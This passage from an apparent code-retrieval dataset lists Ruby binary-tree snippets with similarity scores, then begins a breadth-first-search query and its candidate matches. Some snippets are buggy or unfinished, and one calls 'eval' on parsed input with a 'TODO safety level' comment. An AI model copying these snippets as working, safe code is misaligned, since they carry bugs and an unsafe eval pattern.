l_half[half(l_half)]\n r_child = r_half[half(r_half)]\n Node.new(value, parent, l_child, r_child)\n end", "def build_tree_unsorted(arr)\n root = nil\n arr.each do |item|\n root = insert_tree(item, root)\n end\n\n root\nend", "def build_tree_arbitrary(arr)\n node = Node.new(arr[0])\n queue = [node]\n @root = node\n i = 0\n\n until queue.empty?\n node = queue.shift\n children = node_children(node, i, arr)\n queue.concat(children)\n i += 2\n end\n end", "def build_tree(array, left=0, right=array.length-1)\n \n# base case\n return if left > right\n\n# from smallest to largest\n array = merge_sort(array)\n\n# middle index, make this the first node\n index_mid = left + (right-left) / 2 \n node = Node.new(array[index_mid]) \n \n# i think it's making the left node (smaller), & right (larger)\n# looks like it is recursion\n node.left_child = build_tree(array, left, index_mid-1) \n node.right_child = build_tree(array, index_mid+1, right) \n\n @tree = node\n @tree\n end", "def make_binary_tree(sorted_array)\n if sorted_array.length == 0\n return nil\n elsif sorted_array.length == 1\n return TreeNode.new(sorted_array[0])\n end\n divide_index = sorted_array.length / 2\n tree_node = TreeNode.new(sorted_array[divide_index])\n tree_node.left = make_binary_tree(sorted_array[0..divide_index-1])\n tree_node.right = make_binary_tree(sorted_array[divide_index+1..sorted_array.length-1])\n return tree_node\nend", "def build_tree(tree_size, input)\n nodes = Array.new(tree_size) { Node.new(nil, nil, nil) }\n\n tree_size.times do |i|\n line = input.next\n val, left, right = line.chomp.split.map(&:to_i)\n nodes[i].val = val\n nodes[i].left = nodes[left] unless left == -1\n nodes[i].right = nodes[right] unless right == -1\n end\n \n nodes.first\nend", "def build_tree( arr, first_index = 0, last_index = arr.length - 1 )\n return nil if first_index > last_index\n \n middle_of_array = (first_index + last_index)/2\n \n root = Node.new(arr[middle_of_array])\n \n root.left_child = build_tree(arr, first_index, middle_of_array - 1)\n root.right_child = build_tree(arr, middle_of_array + 1, last_index)\n \n return root \n end", "def produce_tree(ary); end", "def build_tree(ary)\n # If the array is sorted, the tree will not be balanced\n ary.shuffle!\n ary.each { |item| insert(item) }\n end", "def array_tree\n return @array_tree if @array_tree\n @description.strip!\n #@description.gsub!(/[^\\s()]+/, '\"\\0\"')\n @description.gsub!(/[^\\s()]+/) {|w| '\"'+w.gsub('\"', '\\'')+'\"'}\n @description.gsub!('(', '[')\n @description.gsub!(')', ']')\n @description.gsub!(/\\s+/,\" \")\n @description.gsub!(' ', ', ')\n @description.gsub!('\\\\', '\\\\\\\\\\\\')\n begin\n @array_tree = eval(@description) # TODO safety level\n rescue Exception => ex\n puts \"Error while parsing:\\n#{@description}\"\n end\n @array_tree\n end", "def build_tree(arr)\n if arr.empty?\n return nil\n end\n\n mid = arr.length/2\n root = Node.new(arr[mid])\n\n root.left = build_tree(arr[0...mid])\n root.right = build_tree(arr[(mid+1)..-1])\n\n root\nend", "def build_tree(item_list = @sorted_list,root_node = nil)\n #sorted root sorts and removes duplicates from the item list\n if (item_list[0] == nil)\n return nil\n else\n start = 0\n end_of_item_list = item_list.length - 1\n mid = (start + item_list.length) / 2\n #set the root node then start creating a tree node for the left and right side of the array\n #Then after that branch is created attach it to the correct position\n root_node = Node.new(item_list[item_list.length/2])\n root_node.right = build_tree(item_list[0,mid],root_node) \n root_node.left = build_tree(item_list[mid+1,end_of_item_list],root_node)\n return root_node\n end\n \n end", "def build_tree(input_array)\n sorted_set = input_array.sort.uniq\n build_tree_aux(sorted_set, 0, sorted_set.length - 1)\n end", "def build_tree(arr)\n #arr.shuffle!\n arr.each do |x|\n if @root == nil\n @root = Node.new(x)\n else\n current_node = @root\n until current_node == nil\n if x < current_node.value\n parent = current_node\n direction = \"left\"\n current_node = current_node.left_child\n elsif x > current_node.value\n parent = current_node\n direction = \"right\"\n current_node = current_node.right_child\n end\n end\n if direction == \"left\"\n parent.left_child = Node.new(x)\n elsif direction == \"right\"\n parent.right_child = Node.new(x)\n end\n end\n end\n end", "def populate_dom(array)\n node_count = 0\n current_node = @root\n current_depth = 0\n array.each do |hash|\n if DEEP_NODE.include? hash[:type]\n new_node = Node.new(hash, [], current_node, current_node.depth + 1)\n current_node.children << new_node\n current_node = new_node\n current_depth += 1\n else #hash[:type] == \"close\"\n current_depth -= 1 \n current_node = current_node.parent\n end\n node_count += 1\n end\n node_count\n end", "def build_struct_tree data\n data.to_hashugar\n end", "def create_tree(node, elem, level, parent)\n node.level = level\n elemtype = check_type(elem[1])\n case elemtype\n when \"array\"\n node.kind = \"array\"\n node.arrsize = elem[1][\".array_size\"].to_i\n if elem[1].has_key?(\".subtype\") && elem[1][\".subtype\"].has_key?(\".members\")\n elem[1][\".subtype\"][\".members\"].each do |m|\n x = Tree.new(m[0], item_type(elem[1]), node)\n node.create_child(x)\n create_tree(x, m, level+1, node)\n end\n if elem[1][\".subtype\"].has_key?(\".type_or_id_name\")\n elem[1][\".subtype\"][\".type_or_id_name\"] =~ /\\((.+)\\): (\\w+)/\n node.s_u_name = $2.clone\n else\n node.s_u_name = \"__ANON__\"\n end\n node.basetype = node.data = elem[1][\".subtype\"][\".type\"].clone\n else\n subkind = check_type(elem[1][\".subtype\"])\n case subkind\n when \"enum\"\n node.basetype = \"enum\"\n node.data = {\".type\" => elem[1][\".subtype\"][\".type\"]}\n node.data[\".type_or_id_name\"] = elem[1][\".subtype\"][\".type_or_id_name\"]\n arr = []\n elem[1][\".subtype\"][\".values\"].each { |k,v| arr << [k,v] }\n node.data[\".values\"] = arr.clone\n node.data[\".values\"].sort! { |a,b| a[1] <=> b[1] }\n when \"numeric_ose\", \"boolean\"\n elem[1][\".subtype\"][\".type_or_id_name\"] =~ /\\((.+)\\): (\\w+)/\n node.basetype = $2.clone\n when \"native\", \"numeric_other\"\n node.basetype = \"OTHER\"\n node.data = {\".type\" => elem[1][\".subtype\"][\".type\"]}\n if elem[1][\".subtype\"].has_key?(\".signed\")\n node.data[\".signed\"] = elem[1][\".subtype\"][\".signed\"] \n end\n if elem[1][\".subtype\"].has_key?(\".type_or_id_name\")\n node.data[\".type_or_id_name\"] = elem[1][\".subtype\"][\".type_or_id_name\"]\n end\n end\n node.leaf = true\n end\n when \"struct\", \"union\"\n node.kind = elemtype\n if is_anon?(elem[1])\n node.s_u_name = \"__ANON__\"\n else\n node.s_u_name = item_name(elem[1])\n end\n elem[1][\".members\"].each do |m|\n x = Tree.new(m[0], item_type(elem[1]), node)\n node.create_child(x)\n create_tree(x, m, level+1, node)\n end\n when \"enum\"\n node.kind = \"enum\"\n node.basetype = \"enum\"\n node.s_u_name = item_name(elem[1])\n node.parent = parent\n node.leaf = true\n arr = []\n elem[1][\".values\"].each { |k,v| arr << [k,v] }\n node.data = arr.clone\n node.data.sort! { |a,b| a[1] <=> b[1] }\n when \"numeric_ose\"\n node.kind = \"numeric\"\n node.basetype = item_name(elem[1])\n node.parent = parent\n node.leaf = true\n when \"boolean\"\n node.kind = \"boolean\"\n node.basetype = item_name(elem[1])\n node.parent = parent\n node.leaf = true\n when \"native\", \"numeric_other\"\n node.kind = \"numeric\"\n node.basetype = \"OTHER\"\n node.data = {'.type' => elem[1][\".type\"]}\n node.data[\".signed\"] = elem[1][\".signed\"] if elem[1].has_key?(\".signed\")\n if elem[1].has_key?(\".type_or_id_name\")\n node.data[\".type_or_id_name\"] = elem[1][\".type_or_id_name\"]\n end\n node.parent = parent\n node.leaf = true\n else\n raise \"Node #{node.name} contains erroneous data\" \n end\n end", "def build_tree(sorted_array)\n return if sorted_array.length.zero?\n\n return Node.new(sorted_array[0]) if sorted_array.length == 1\n\n midpoint = (sorted_array.length - 1) / 2\n subtree_root = Node.new(sorted_array[midpoint])\n # Don't include the root in the left subtree.\n subtree_root.left = build_tree(sorted_array[0...midpoint])\n subtree_root.right = build_tree(sorted_array[midpoint + 1..-1])\n\n subtree_root\n end", "def build_tree(arr)\n\ntree = []\n\ntree.push(Node.new(arr[0]))\n\n arr[1..-1].each do |i|\n new_node = Node.new(i)\n\n condition = false\n current = tree[0]\n until condition == true\n if i > current.value && current.find_right_child.count == 0\n new_node.create_parent(current)\n current.create_right_child(new_node)\n tree.push(new_node)\n condition = true\n elsif i < current.value && current.find_left_child.count == 0\n new_node.create_parent(current)\n current.create_left_child(new_node)\n tree.push(new_node)\n condition = true\n elsif i > current.value && current.find_right_child.count == 1\n current = current.find_right_child[0]\n elsif i < current.value && current.find_left_child.count == 1\n current = current.find_left_child[0]\n end\n end\n end\n tree\nend", "def build_tree(data, par_node)\n return nil if data.empty?\n \n if @node.value <= par_node.value\n if par_node.left == nil\n par_node.left = @node\n else\n build_tree(data, par_node.left)\n end\n else\n if par_node.right == nil\n par_node.right = @node\n else\n build_tree(data, par_node.right)\n end\n end\n\n @node = Node.new(data.shift)\n build_tree(data, @root)\n end", "def data= data\n leafs.compact!\n \n self.dataset = data.to_a\n self.url = nil\n end", "def build_tree(arr, start_index = 0, end_index = arr.length - 1)\n return nil if start_index > end_index\n\n mid = (start_index + end_index) / 2\n curr_root = arr[mid].is_a?(Node) ? arr[mid] : Node.new(arr[mid])\n curr_root.left = build_tree(arr, start_index, mid - 1)\n curr_root.right = build_tree(arr, mid + 1, end_index)\n curr_root\n end", "def buildTree( prefixArray )\n return nil if prefixArray.empty?\n value = prefixArray.pop\n if( root.nil? )\n @root = TreeNode.new(value, nil, nil)\n # the right child comes before left since prefixArray \n # is really a _stack_\n @root.rightChild = buildTree( prefixArray )\n @root.leftChild = buildTree( prefixArray )\n elsif( isOp?(value) )\n newNode = TreeNode.new(value, nil, nil)\n newNode.rightChild = buildTree( prefixArray )\n newNode.leftChild = buildTree( prefixArray )\n return newNode\n else\n return TreeNode.new(value, nil, nil)\n end\n end", "def init\n for i in 0...@tree.size\n @tree[i] = 0\n end\n end", "def build_tree(elements)\n return if elements.empty?\n char = elements.shift\n node = BinaryTree.new(char)\n if char == \"I\"\n node.left = build_tree(elements)\n node.right = build_tree(elements)\n end\n return node\nend", "def array_to_bst(array, l, r, parent=nil, d=1)\n return if l > r\n mid = (l + r)/2\n node = Node.new(array[mid], nil, nil, nil, d)\n node.l = array_to_bst(array, l, mid - 1, node, d + 1)\n node.r = array_to_bst(array, mid + 1, r, node, d + 1)\n node.parent = parent\n node\n end", "def create_bst(sorted_arr)\n\n return nil if sorted_arr.length == 0\n return BinaryNode.new(sorted_arr[0]) if sorted_arr.length == 1\n if sorted_arr.length == 2\n child = BinaryNode.new(sorted_arr[0])\n parent = BinaryNode.new(sorted_arr[1])\n parent.left = child\n return parent\n end\n\n middle = sorted_arr.length / 2\n left_start = 0\n left_end = (sorted_arr.length / 2) - 1\n right_start = left_end + 2\n right_end = sorted_arr.length\n\n cur_root = BinaryNode.new(sorted_arr[middle])\n cur_root.left = create_bst(sorted_arr[left_start..left_end])\n cur_root.right = create_bst(sorted_arr[right_start..right_end])\n\n return cur_root\n\nend", "def post_order_traverse(tree, array)\n if !tree.nil?\n post_order_traverse(tree.left, array)\n post_order_traverse(tree.right, array)\n array.append(tree.value)\n end\n \n return array\n\nend", "def in_order_traverse(tree, array)\n if !tree.nil?\n in_order_traverse(tree.left, array)\n array.append(tree.value)\n in_order_traverse(tree.right, array)\n end\n return array\n\n\nend", "def in_order(node = root, array = [])\n return if node.nil?\n\n in_order(node.left, array) # traverse the whole left tree first\n array << node.data # then push the node into the array when it reaches the leaf node\n in_order(node.right, array) # then traverse the whole right tree\n array\n end", "def test_return_array_root_node\n @tree.insert(\"f\")\n assert_equal [\"f\"], @tree.sort\n end", "def data_shapes tree\n acc = Array.new(MAX_DIM + 1) { [] }\n min_level = MAX_DIM + 1\n max_level = 0\n minmax = [min_level, max_level]\n\n search max_level, tree, acc, minmax\n\n min_level = minmax[0]\n max_level = minmax[1]\n\n if acc[max_level] && acc[max_level].all? { |a| a.nil? }\n # min_level is not set in this special case. Hence the check.\n elsif min_level != max_level\n raise ValueError, \"unbalanced tree: min depth #{min_level} and max depth #{max_level}\"\n end\n\n data = acc[max_level]\n shapes = acc[0...max_level].reverse\n\n [data, shapes]\n end", "def build_tree_helper(arr)\n\treturn Node.new(arr[0]) if arr.size == 1\n\tnode = Node.new(arr.slice!(arr.size / 2))\n\ttree = build_tree(arr)\n\tuntil (node.value > tree.value && tree.right_child.nil?) || (node.value <= tree.value && tree.left_child.nil?)\n\t\ttree = node.value > tree.value ? tree.right_child : tree.left_child\n\tend\n\tif node.value > tree.value\n\t\ttree.right_child = node\n\t\tnode.parent = tree\n\telse\n\t\ttree.left_child = node\n\t\tnode.parent = tree\n\tend\nend", "def object_tree\n head, *rest = array_tree\n object_subtree(head,rest)\n end", "def initialize(data, parent = nil)\n @data = data\n @children = []\n @parent = parent\n end", "def pre_order_traverse(tree, array)\n if !tree.nil?\n array.append(tree.value)\n pre_order_traverse(tree.left, array)\n pre_order_traverse(tree.right, array)\n end\n \n return array\n\nend", "def build_tree_unsorted(array)\n array.each_index{ |index|\n\n }\nend", "def minimal_tree(array)\n raise \"Please enter an array of at least one element\" if array.empty?\n\n midpoint = array.length/2\n root = BinaryTreeNode.new(array[midpoint])\n\n add_node = lambda do |left, right|\n return if left > right\n\n mid = left + (right-left) / 2\n\n node = BinaryTreeNode.new(array[mid])\n\n node.left = add_node.call(left, mid - 1)\n node.right = add_node.call(mid + 1, right)\n\n node\n end\n\n root.left = add_node.call(0, midpoint - 1)\n root.right = add_node.call(midpoint + 1, array.length - 1)\n\n root\nend", "def serialize(root, array)\n if root == nil\n array.push('N')\n return\n else\n array.push(root.val)\n serialize(root.left, array)\n serialize(root.right, array)\n end\n array.join(\",\")\nend", "def build_tree(arr, root, i, n)\n\tif i < n\n\t\troot = TreeNode.new(arr[i])\n\t\troot.left = build_tree(arr, root.left, i*2+1, n)\n\t\troot.right = build_tree(arr, root.right, i*2+2, n)\n\tend\n\treturn root\nend", "def build_array(node)\r\n return [] if node.nil?\r\n results = []\r\n results.concat build_array(node.left)\r\n results << node.payload\r\n results.concat build_array(node.right)\r\n results\r\nend", "def insert_data(data)\n self.root = insert(data)\n end", "def post_order(node = root, array = [])\n return if node.nil?\n\n post_order(node.left, array)\n post_order(node.right, array)\n array << node.data\n end", "def pre_order_array(tree)\n output = tree.nil? || tree.data == 0 ? \"\" : tree.data.to_s + \" \"\n left = tree.left.nil? ? \"\" : pre_order_array(tree.left)\n right = tree.right.nil? ? \"\" : pre_order_array(tree.right)\n output + left + right\nend", "def build_tree_aux(input_array, start_index, stop_index)\n return nil if start_index > stop_index\n\n middle_index = (start_index + stop_index) / 2\n left_half = build_tree_aux(input_array, start_index, middle_index - 1)\n middle_value = input_array[middle_index]\n right_half = build_tree_aux(input_array, middle_index + 1, stop_index)\n Node.new(middle_value, left_half, right_half)\n end", "def insert(data)\n node = Node.new(data)\n\n if @size == 0\n @root = node\n else\n parent = @root\n\n loop do\n if data <= parent.value\n if !parent.left # found a leaf node\n parent.left = node # insert here\n break\n else\n parent = parent.left\n end\n else # data > node.value\n if !parent.right # found a leaf node\n parent.right = node # insert here\n break\n else\n parent = parent.right\n end\n end\n end\n end\n\n @size += 1\n end", "def pre_order(node = root, array = [])\n return if node.nil?\n\n array << node.data\n pre_order(node.left, array)\n pre_order(node.right, array)\n array\n end", "def populate\n @length = @data.map(&:size).max\n @depth = @data.count\n self\n end", "def make_tree(pre, inord)\n return if pre.size == 0\n root_node = Node.new(pre[0])\n idx = inord.index(pre[0])\n root_node.left = make_tree(pre[1..idx], inord[0...idx])\n root_node.right = make_tree(pre[idx+1...pre.size], inord[idx+1...inord.size])\n return root_node\nend", "def reconstruct_data(node, data_binding = nil)\n node_type = node.attr('type')\n case node_type\n when 'array'\n node.element_children.map do |child|\n reconstruct_data(child, data_binding)\n end\n when /hash/\n mash ||= Hashie::Mash.new\n node.element_children.each do |child|\n mash[child.attr('key') || child.element_name] ||= reconstruct_data(child, data_binding)\n end\n mash\n when /boolean/\n node.content == \"true\"\n else\n if node.content.empty?\n nil\n elsif data_binding && node_type == 'string'\n ERB.new(node.content).result(data_binding)\n else\n node.content.ducktype\n end\n end\n end", "def func(node,subtree_node_index_in_array,subtree_begin_index,subtree_end_index)\n\tif subtree_begin_index == subtree_end_index\n\t\t#puts \"leaf node begin #{subtree_begin_index} and end #{subtree_end_index}\"\n\t\t#puts $inorder_array[subtree_begin_index]\n\telse\n\t\t$preorder_index = $preorder_index + 1\n\t\tleft_subtree_node_value = $preorder_array[$preorder_index]\n\t\tleft_subtree_node_index_in_array = find_index_of_value_in_in_array(left_subtree_node_value,subtree_begin_index,subtree_node_index_in_array - 1)\n\t\tleft_node = Btnode.new($inorder_array[left_subtree_node_index_in_array])\n\t\tnode.left = left_node\n\t\tfunc(left_node,left_subtree_node_index_in_array,subtree_begin_index,subtree_node_index_in_array - 1 )\n\t\t#puts \"subtree node at #{$inorder_array[subtree_node_index_in_array]}\"\n\t\t#puts $inorder_array[subtree_node_index_in_array]\n\t\t$preorder_index = $preorder_index + 1\n\t\tright_subtree_node_value = $preorder_array[$preorder_index]\n\t\tright_subtree_node_index_in_array = find_index_of_value_in_in_array(right_subtree_node_value,subtree_node_index_in_array + 1,subtree_end_index)\n\t\tright_node = Btnode.new($inorder_array[right_subtree_node_index_in_array]) \n\t\tnode.right = right_node\n\t\tfunc(right_node,right_subtree_node_index_in_array,subtree_node_index_in_array + 1,subtree_end_index)\n\tend\nend", "def initialize(arr = [])\n\t\t@root = nil\n\t\tarr.shuffle!\n\t\t\n\t\tarr.each do |value|\n\t\t\tinsert(value)\n\t\tend\n\tend", "def balanced_binary_with_sorted_array(arr, min, max)\n return nil if min > max\n mid = (min + max) / 2\n # Always passes the next middle as next root, so the tree stays balanced.\n root = TreeNode.new(arr[mid])\n root.left = balanced_binary_with_sorted_array(arr, min, mid - 1)\n root.right = balanced_binary_with_sorted_array(arr, mid + 1, max)\n root\n end", "def marshal_load array\n @parent = nil\n\n @title = array[1]\n @comments = array[2]\n end", "def parse(data)\n @tree = instance.parse(data)\n raise Error, instance unless @tree\n \n @tree\n end", "def parse(data)\n @children.clear\n data = StringIO.new(data)\n while !data.eof?\n mode = Util.read_bytes_until(data, ' ').to_i(8)\n name = repository.set_encoding Util.read_bytes_until(data, \"\\0\")\n id = repository.set_encoding data.read(20).unpack(\"H*\").first\n @children[name] = Reference.new(:repository => repository, :id => id, :mode => mode)\n end\n end", "def plant_a_tree\n new_tree = [OrangeTree.new]\n @tree_array = @tree_array + new_tree\n end", "def to_a (root = self, array = [])\n to_a(root.left, array) unless root.left.nil?\n array << root.value\n to_a(root.right, array) unless root.right.nil?\n array\n end", "def serialize_binary_search_tree_helper( node, nodes_array)\n \n if node.nil?\n return nil\n end\n \n s_node = Serilized_Node.new(node.value)\n \n nodes_array.push(s_node)\n node_index = nodes_array.size - 1 #the index of the sub tree root\n s_node.left_child_index = serialize_binary_search_tree_helper(node.left, nodes_array)\n s_node.right_child_index = serialize_binary_search_tree_helper(node.right, nodes_array)\n\n \n return node_index\nend", "def test_marshal_dump\n # Setup Test Data\n test_root = Tree::TreeNode.new(\"ROOT\", \"Root Node\")\n test_content = {\"KEY1\" => \"Value1\", \"KEY2\" => \"Value2\" }\n test_child = Tree::TreeNode.new(\"Child\", test_content)\n test_content2 = [\"AValue1\", \"AValue2\", \"AValue3\"]\n test_grand_child = Tree::TreeNode.new(\"Grand Child 1\", test_content2)\n test_root << test_child << test_grand_child\n\n # Perform the test operation\n data = Marshal.dump(test_root) # Marshal\n new_root = Marshal.load(data) # And unmarshal\n\n # Test the root node\n assert_equal(test_root.name, new_root.name, \"Must identify as ROOT\")\n assert_equal(test_root.content, new_root.content, \"Must have root's content\")\n assert(new_root.is_root?, \"Must be the ROOT node\")\n assert(new_root.has_children?, \"Must have a child node\")\n\n # Test the child node\n new_child = new_root[test_child.name]\n assert_equal(test_child.name, new_child.name, \"Must have child 1\")\n assert(new_child.has_content?, \"Child must have content\")\n assert(new_child.is_only_child?, \"Child must be the only child\")\n\n new_child_content = new_child.content\n assert_equal(Hash, new_child_content.class, \"Class of child's content should be a hash\")\n assert_equal(test_child.content.size, new_child_content.size, \"The content should have same size\")\n\n # Test the grand-child node\n new_grand_child = new_child[test_grand_child.name]\n assert_equal(test_grand_child.name, new_grand_child.name, \"Must have grand child\")\n assert(new_grand_child.has_content?, \"Grand-child must have content\")\n assert(new_grand_child.is_only_child?, \"Grand-child must be the only child\")\n\n new_grand_child_content = new_grand_child.content\n assert_equal(Array, new_grand_child_content.class, \"Class of grand-child's content should be an Array\")\n assert_equal(test_grand_child.content.size, new_grand_child_content.size, \"The content should have same size\")\n end", "def build_tree_rec(preorder, inorder)\n if inorder.length != 0\n original = preorder.shift\n ind = inorder.index(original)\n root = TreeNode.new(inorder[ind])\n root.left = build_tree(preorder, inorder[0...ind])\n root.right = build_tree(preorder, inorder[ind + 1..-1])\n root\n end\nend", "def build_tree_rec(inorder, postorder)\n if inorder.length != 0\n original = postorder.pop\n ind = inorder.index(original)\n root = TreeNode.new(inorder[ind])\n root.right = build_tree(inorder[ind + 1..-1], postorder)\n root.left = build_tree(inorder[0...ind], postorder)\n root\n end\nend", "def merge(arr)\n if isleaf(self)\n acc = Rope.new\n pos0 = 1\n pos1 = 2\n n = 0\n while not (pos0 <= @str.length and @str.length < pos1)\n if arr[n] != nil\n acc.prepend(arr[n])\n arr[n] = nil\n end\n pos1, pos0 = pos0 + pos1, pos1\n n += 1\n end\n acc << self\n while not (pos0 <= acc.length and acc.length < pos1) or arr[n] != nil\n if arr[n] != nil\n acc.prepend(arr[n])\n arr[n] = nil\n end\n pos1, pos0 = pos0 + pos1, pos1\n n += 1\n end\n arr[n] = acc.clone\n end\n @left.merge(arr) if @left != nil\n @right.merge(arr) if @right != nil\n end", "def data_for_serialize\n da=DAData.new @root\n [@words.build,da.base,da.check]\n end", "def build_tree(preorder, inorder)\n return nil if preorder.empty? && inorder.empty?\n\n array = []\n\n node = Node.new(preorder.first)\n\n array << preorder.first\n\n idx = inorder.index(preorder.first)\n\n left_inorder = inorder[0...idx]\n right_inorder = inorder[(idx+1)..-1]\n\n left_preorder = preorder & left_inorder\n right_preorder = preorder & right_inorder\n\n node.left = build_tree(left_preorder, left_inorder)\n node.right = build_tree(right_preorder, right_inorder)\n\n node\nend", "def push(node, data)\n return Node.new data unless node\n\n data = replace_data(node, data) if is_first?(data, node.data)\n\n if left_first?(node.left, node.right)\n node.right = push(node.right, data)\n else\n node.left = push(node.left, data)\n end\n\n node\n end", "def initialize (tree, parent = nil, id = \"\") # id - DEBUG\n @tree = tree\n @parent = parent\n @children = []\n @data = []\n @bounding_box = Rectangle.new(tree.dimension)\n @id = id # DEBUG\n end", "def initialize(arry = [])\n @base = arry.collect{|el| el } # poor man's clone\n @tree_hash = run_layers\n end", "def postorder (root = self, array = [])\n postorder(root.left, array) unless root.left.nil?\n postorder(root.right, array) unless root.right.nil?\n array << root.value\n array\n end", "def initialize(data,left=nil,right=nil)\n @data = data\n @number_of = 1\n @left = left\n @right = right\n end" ]
[ "0.7098929", "0.70791733", "0.6836663", "0.68199146", "0.67296803", "0.66995484", "0.6675161", "0.65784395", "0.6575065", "0.6522355", "0.64704555", "0.6445603", "0.6444982", "0.6413812", "0.6316787", "0.63120574", "0.63006896", "0.627045", "0.6244209", "0.62240076", "0.6218638", "0.62093896", "0.6129425", "0.6094325", "0.6080441", "0.6045549", "0.6036802", "0.6035525", "0.5998425", "0.59862006", "0.59794664", "0.5961227", "0.5948612", "0.5942305", "0.59362376", "0.58620405", "0.58585757", "0.58566755", "0.58448166", "0.5794655", "0.5770581", "0.5767715", "0.5763004", "0.5724615", "0.56930196", "0.5671877", "0.56658804", "0.56317645", "0.5582921", "0.55620426", "0.55242133", "0.5520706", "0.5471751", "0.5453468", "0.54350734", "0.54282427", "0.540879", "0.54054224", "0.54029214", "0.54020506", "0.5401443", "0.53934664", "0.5393416", "0.5387888", "0.5384304", "0.5379151", "0.53492856", "0.5342122", "0.5336189", "0.5310875", "0.5301936", "0.52911353", "0.52874976", "0.52850646", "0.5284068", "0.5265065", "0.52622026", "0.52578807", "0.52572644", "0.5255025", "0.52460045", "0.5243058", "0.5225631", "0.5222666", "0.5211036", "0.5200994", "0.5176965", "0.5166156", "0.5160583", "0.5157107", "0.5130233", "0.5128384", "0.51222277", "0.50926304", "0.5085521", "0.5079116", "0.50790775", "0.5062083", "0.5053225", "0.5052497" ]
0.76057476
0
Returns, from the binary tree, the node which contains 'data' Returns 'nil' if no match is found, or if tree is empty (Root = nil). Note: Handles case where data searched for and tree are not the same type
def breadth_first_search(data) queue = [@root] node_match = nil match_found = false until queue.empty? || match_found || @root.nil? cur_node = queue.first if cur_node.value == data match_found = true node_match = cur_node else queue.push(cur_node.left_child) unless cur_node.left_child.nil? queue.push(cur_node.right_child) unless cur_node.right_child.nil? queue.shift end end return node_match end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def find(root, data)\n if @root != nil\n queue = Queue.new\n queue.enq(@root)\n result = nil\n while !queue.empty?\n node = queue.deq\n return node if node.title == data\n queue.enq(node.left) if node.left\n queue.enq(node.right) if node.right\n end\n end\n\n end", "def find(root, data)\n if root.value == data\n return root\n end\n\n if root.left != nil\n left = find(root.left, data)\n if left != nil\n return left\n end\n end\n\n if root.right != nil\n right = find(root.right, data)\n if right != nil\n return right\n end\n end\n end", "def find(root, data)\n # if data is nil\n if data == nil\n return nil\n end\n\n if root.title == data\n return root\n end\n\n found_node = nil\n\n unless root.left.nil?\n found_node = find(root.left, data)\n end\n\n unless found_node || root.right.nil?\n found_node = find(root.right, data)\n end\n\n return found_node\n end", "def find(root, data)\n return if data == nil || root == nil\n\n if root.title == data\n @searched_node = root\n end\n\n if root.left\n find(root.left, data)\n end\n if root.right\n find(root.right, data)\n end\n\n return @searched_node\n end", "def find(root, data)\n # if data is nil\n if data == nil\n return nil\n end\n\n if root.title == data\n return root\n end\n\n found_node = nil\n\n unless root.left.nil?\n found_node = find(root.left, data)\n end\n\n unless found_node || root.right.nil?\n found_node = find(root.right, data)\n end\n #What happens when we encounter a leaf node, without siblings, at the very left of the tree?\n\n return found_node\n end", "def find(root, data)\n return root if root && root.title == data\n\n found_node = nil\n\n found_node = find(root.left, data) if root.left\n found_node = find(root.right, data) if !found_node && root.right\n\n return found_node\n end", "def find(root, data)\r\n return nil if data.nil? || root.nil?\r\n if root.title == data\r\n return root\r\n else\r\n node = find(root.left, data)\r\n if node.nil?\r\n node = find(root.right, data)\r\n end\r\n end\r\n return node\r\n end", "def find(root, data)\n if root.nil?\n nil\n elsif root.title == data\n root\n else\n left_node = find(root.left, data)\n if left_node\n left_node\n else\n right_node = find(root.right, data)\n right_node if right_node\n end\n end\n end", "def find(root, data)\n node = root\n if !root.nil? && root.title != data # gracefully handle nil, skips if match\n if !root.left.nil? #if left child exists\n node = find(root.left, data) # recursive left as root\n elsif !root.right.nil?\n node = find(root.right, data)\n else\n node = nil # if end of the tree\n end\n end\n return node\n end", "def find(root, data)\n node = root\n if !root.nil?\n if root.title != data\n node = find(root.left, data)\n if node.nil?\n node = find(root.right, data)\n end\n end\n end\n return node\n end", "def find(root, data)\n current_node = root\n if current_node.title == data\n return current_node\n elsif current_node.left != nil\n find(current_node.left, data)\n elsif current_node.right != nil\n find(current_node.right, data)\n end\n\n end", "def find(root, data) # data is a title, not a node\n if root.title == data\n # base case, data matches\n return root\n else\n if root.left\n left = find(root.left, data)\n end\n if root.right\n right = find(root.right, data)\n end\n if left\n return left\n elsif right\n return right\n else\n # no match found toward the left or the right\n return nil\n end\n end\n end", "def find(root, data)\n if data < root\n find( root, node.left)\n elsif data > root\n find( root, node.right)\n else\n return node\n end\n end", "def find(root, data)\n return nil if data === nil\n\n if root.title === data\n return root\n elsif root.left\n find(root.left, data)\n else\n find(root.right, data)\n end\n end", "def find(root, data)\n if (!root)\n return nil\n end\n if (root.title == data)\n return root\n else\n if (root.right)\n return find(root.right, data)\n end\n if (root.left)\n return find(root.left, data)\n end\n return nil\n end\n end", "def find(root, data)\n if data == nil || root == nil\n return nil\n end\n\n branch = root\n\n if branch.title == data\n return branch\n else\n root = find_next_leaf(root, branch)\n self.find(root, data)\n end\n\n end", "def find(root, data)\n return root if root.title == data\n if root.right\n found = find(root.right, data)\n end\n if root.left && found.nil?\n found = find(root.left, data)\n end\n found ? found : nil\n end", "def find(root, data)\n if data.nil?\n return nil\n end\n \n if root.nil?\n return nil\n elsif root.title == data\n return root\n else\n find(root.right, data) ||\n find(root.left, data)\n end\n end", "def find(root, data)\n return false unless root\n return root if root.data == data\n return find(root.left, data) || find(root.right, data)\n end", "def find(root, data)\n return nil if root.nil? || data.nil?\n \n if root.title === data\n return root\n elsif root.left\n find(root.left, data)\n elsif root.right\n find(root.right, data)\n end\n end", "def find(root, data)\n if root.nil?|| data.nil?\n nil\n else\n if root.title == data\n root\n elsif root.left\n find(root.left, data)\n elsif root.right\n find(root.right, data)\n end\n end\n end", "def find(root, data)\n if root == nil || data == nil\n nil\n else\n if root.title == data\n root\n # Uses recursion to move down left, then right side of tree\n elsif root.left != nil\n find(root.left, data)\n elsif root.right != nil\n find(root.right, data)\n end\n end\n end", "def find(root, data)\n if root.nil?\n nil\n else\n if root.title == data\n root\n elsif root.left != nil\n find(root.left, data)\n elsif root.right != nil\n find(root.right, data)\n end\n end\n end", "def find(root, data)\n (1...@tree.length).each do |loc|\n if data.title == @tree[loc].title\n return @tree[loc]\n end\n end\n nil\n end", "def find(root, data)\n if data.nil?\n return nil\n else\n if root.title == data\n return root\n elsif root.left !=nil\n find(root.left,data)\n elsif root.right !=nil\n find(root.right,data)\n end\n end\n end", "def find(root, data) #like a stack\n if data === nil #if data is nil\n return nil\n elsif root.title === data #if root matches data\n return root\n elsif root.title != data && root.left === nil #if root is dif from data and left is empty\n if root.right === data\n return 